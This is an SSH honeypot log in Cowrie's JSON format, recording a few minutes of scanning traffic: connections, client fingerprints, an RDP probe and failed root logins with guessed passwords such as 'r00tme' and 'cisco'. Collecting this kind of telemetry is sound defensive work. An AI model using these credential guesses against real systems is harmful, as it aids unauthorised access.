{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab5d3e7f577","protocol":"ssh","message":"New connection: 43.135.164.198:51054 (159.203.135.109:22) [session: 1ab5d3e7f577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:37.910422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:37.916396Z","src_ip":"43.135.164.198","session":"1ab5d3e7f577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:37.984683Z","src_ip":"43.135.164.198","session":"1ab5d3e7f577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":57410,"dst_ip":"159.203.135.109","dst_port":22,"session":"81f77daceaeb","protocol":"ssh","message":"New connection: 43.163.81.22:57410 (159.203.135.109:22) [session: 81f77daceaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.228974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.233951Z","src_ip":"43.163.81.22","session":"81f77daceaeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zcl","message":"login attempt [root/zcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.293011Z","src_ip":"43.135.164.198","session":"1ab5d3e7f577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":22198,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd6d5d48255","protocol":"ssh","message":"New connection: 45.148.10.157:22198 (10.17.0.5:22) [session: 0fd6d5d48255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.300809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.306070Z","src_ip":"45.148.10.157","session":"0fd6d5d48255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.390089Z","src_ip":"45.148.10.157","session":"0fd6d5d48255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.479509Z","src_ip":"43.163.81.22","session":"81f77daceaeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:38.756729Z","src_ip":"45.148.10.157","session":"0fd6d5d48255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:39.364795Z","src_ip":"43.135.164.198","session":"1ab5d3e7f577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@4321","message":"login attempt [root/abcd@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:39.491706Z","src_ip":"43.163.81.22","session":"81f77daceaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60272,"dst_ip":"159.203.135.109","dst_port":22,"session":"86872498836f","protocol":"ssh","message":"New connection: 152.42.212.128:60272 (159.203.135.109:22) [session: 86872498836f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:40.595282Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:40.599791Z","src_ip":"152.42.212.128","session":"86872498836f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:40.603720Z","src_ip":"152.42.212.128","session":"86872498836f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:40.744368Z","src_ip":"43.163.81.22","session":"81f77daceaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":41918,"dst_ip":"10.17.0.5","dst_port":22,"session":"b99cf48a0c20","protocol":"ssh","message":"New connection: 43.134.1.45:41918 (10.17.0.5:22) [session: b99cf48a0c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:41.676003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:41.681454Z","src_ip":"43.134.1.45","session":"b99cf48a0c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:41.919235Z","src_ip":"43.134.1.45","session":"b99cf48a0c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxx","message":"login attempt [root/xxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:42.898025Z","src_ip":"43.134.1.45","session":"b99cf48a0c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:44.138867Z","src_ip":"43.134.1.45","session":"b99cf48a0c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:48.697021Z","src_ip":"163.53.168.23","session":"de8b1d03af15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":42472,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d39a4953afa","protocol":"ssh","message":"New connection: 43.128.112.183:42472 (10.17.0.5:22) [session: 3d39a4953afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:49.984597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:49.989925Z","src_ip":"43.128.112.183","session":"3d39a4953afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:50.238588Z","src_ip":"43.128.112.183","session":"3d39a4953afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:51.250060Z","src_ip":"43.128.112.183","session":"3d39a4953afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:52.499047Z","src_ip":"43.128.112.183","session":"3d39a4953afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":36354,"dst_ip":"159.203.135.109","dst_port":22,"session":"20c9037577ea","protocol":"ssh","message":"New connection: 43.135.168.126:36354 (159.203.135.109:22) [session: 20c9037577ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:08.156786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:08.162724Z","src_ip":"43.135.168.126","session":"20c9037577ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:08.232241Z","src_ip":"43.135.168.126","session":"20c9037577ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco","message":"login attempt [root/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:08.539370Z","src_ip":"43.135.168.126","session":"20c9037577ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:09.612284Z","src_ip":"43.135.168.126","session":"20c9037577ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":53494,"dst_ip":"10.17.0.5","dst_port":22,"session":"391575836d54","protocol":"ssh","message":"New connection: 20.203.59.187:53494 (10.17.0.5:22) [session: 391575836d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:19.009291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:19.014085Z","src_ip":"20.203.59.187","session":"391575836d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:19.175881Z","src_ip":"20.203.59.187","session":"391575836d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:19.830448Z","src_ip":"20.203.59.187","session":"391575836d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:21.003785Z","src_ip":"20.203.59.187","session":"391575836d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":45748,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e10a7fec822","protocol":"ssh","message":"New connection: 43.153.56.192:45748 (10.17.0.5:22) [session: 1e10a7fec822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:26.611686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:26.616638Z","src_ip":"43.153.56.192","session":"1e10a7fec822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:26.685688Z","src_ip":"43.153.56.192","session":"1e10a7fec822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liujin","message":"login attempt [root/liujin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:26.992977Z","src_ip":"43.153.56.192","session":"1e10a7fec822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:28.064988Z","src_ip":"43.153.56.192","session":"1e10a7fec822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":51378,"dst_ip":"159.203.135.109","dst_port":22,"session":"8829e33636cf","protocol":"ssh","message":"New connection: 171.244.37.97:51378 (159.203.135.109:22) [session: 8829e33636cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:31.828966Z"}
